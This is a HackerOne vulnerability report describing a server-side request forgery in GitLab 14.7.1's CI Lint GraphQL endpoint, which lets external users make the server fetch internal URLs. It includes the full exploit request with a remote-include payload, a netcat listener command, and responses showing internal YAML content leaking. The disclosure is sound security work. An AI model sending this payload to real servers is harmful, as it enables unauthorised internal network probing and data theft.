Backend: SSRF on CI Lint API via GraphQL
HackerOne report #1507062 by shells3c
on 2022-03-10, assigned to @nmalcolm:
Report
Related report: https://hackerone.com/reports/1236965
(Note: The report is private and inaccessible, but its export is public and accessible on Gitlab Issues: #346187 (closed))
The mentioned bug was fixed by blocking external users from accessing the CI Lint API, but I have figured out that external users still can use the CI Lint feature through GraphQL
Steps to reproduce
- As the Gitlab admin, enable sign ups and enable requests to local network
- Under Account and limit, set
New users set to external
Newly registered users will by default be external
- Start listening on localhost port
1234
- From the attacker side, sign up with a dummy email, now according to the documentation, you are an external user and you can't do any action unless they are explicitly added to a group or project by the admins/internal users, so no SSRF should be possible.
- Now find a public project, let say
user/public-project
- Using the attacker account, send the following request:
POST /api/graphql HTTP/2
Host: gitlab.local
Cookie: [REDACTED]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Csrf-Token: [REDACTED]
X-Gitlab-Feature-Category: pipeline_authoring
Content-Length: 1333
Te: trailers
{
"operationName":"getCiConfigData",
"variables":{
"projectPath":"user/public-project",
"sha":"",
"content":"include:\n - remote: \"http://127.0.0.1:1234/#.yaml\"\n"
},
"query":"query getCiConfigData($projectPath: ID!, $sha: String, $content: String!) {\n ciConfig(projectPath: $projectPath, sha: $sha, content: $content) {\n errors\n mergedYaml\n status\n stages {\n ...PipelineStagesConnection\n __typename\n }\n __typename\n }\n}\n\nfragment PipelineStagesConnection on CiConfigStageConnection {\n nodes {\n name\n groups {\n nodes {\n name\n size\n jobs {\n nodes {\n name\n script\n beforeScript\n afterScript\n environment\n allowFailure\n tags\n when\n only {\n refs\n __typename\n }\n except {\n refs\n __typename\n }\n needs {\n nodes {\n name\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n}\n"
}
- You have successfully sent an HTTP request to the localhost despite having no permission to perform any action on the instance
$ nc -lp 1234
GET / HTTP/1.1
Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept: */*
User-Agent: Ruby
Connection: close
Host: 127.0.0.1:1234
Results of GitLab environment info
Click to expand
System information
System: Ubuntu 20.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.5p203
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.6
Redis Version: 6.0.16
Git Version: 2.33.1.
Sidekiq Version:6.3.1
Go Version: unknown
GitLab information
Version: 14.7.1-ee
Revision: 8d695f11581
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 12.7
URL: https://gitlab.local
HTTP Clone URL: https://gitlab.local/some-group/some-project.git
SSH Clone URL: git@gitlab.local:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.22.2
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
The same impact as #12369650 (SSRF when an admin whitelists internal requests for authenticated users only)
How To Reproduce
The above steps work. Using Repeater in Burp Suite is straightforward.
Impact
When the accessed resource is a yaml
file, we have information disclosure. Send the following when nc
is pinged:
HTTP/1.1 200 OK
Content-Length: 38
foo: 1
something:
SECRET_VAR: abc123
The response is:
{
"data":
{
"ciConfig":
{
"errors":
[
"jobs foo config should implement a script: or a trigger: keyword",
"jobs something config should implement a script: or a trigger: keyword",
"jobs config should contain at least one visible job"
],
"mergedYaml": "---\nfoo: 1\nsomething:\n SECRET_VAR: abc123\n",
"status": "INVALID",
"stages": null,
"__typename": "CiConfig"
}
}
}
When the accessed resource is NOT yaml
, we get an error. Note even without info disclosure SSRF can allow an attacker to perform reconnaissance of a network, and sometimes cause shenanigans IF the resulting endpoint does something weird in response to GET
requests. Send the following as a response when nc
is pinged
HTTP/1.1 200 OK
Content-Length: 65
This is my secret file. It's accessible over HTTP. Who knows why!
The result is:
{
"data":
{
"ciConfig":
{
"errors":
[
"Included file `http://127.0.0.1:1234/#.yaml` does not have valid YAML syntax!"
],
"mergedYaml": null,
"status": "INVALID",
"stages": null,
"__typename": "CiConfig"
}
}
}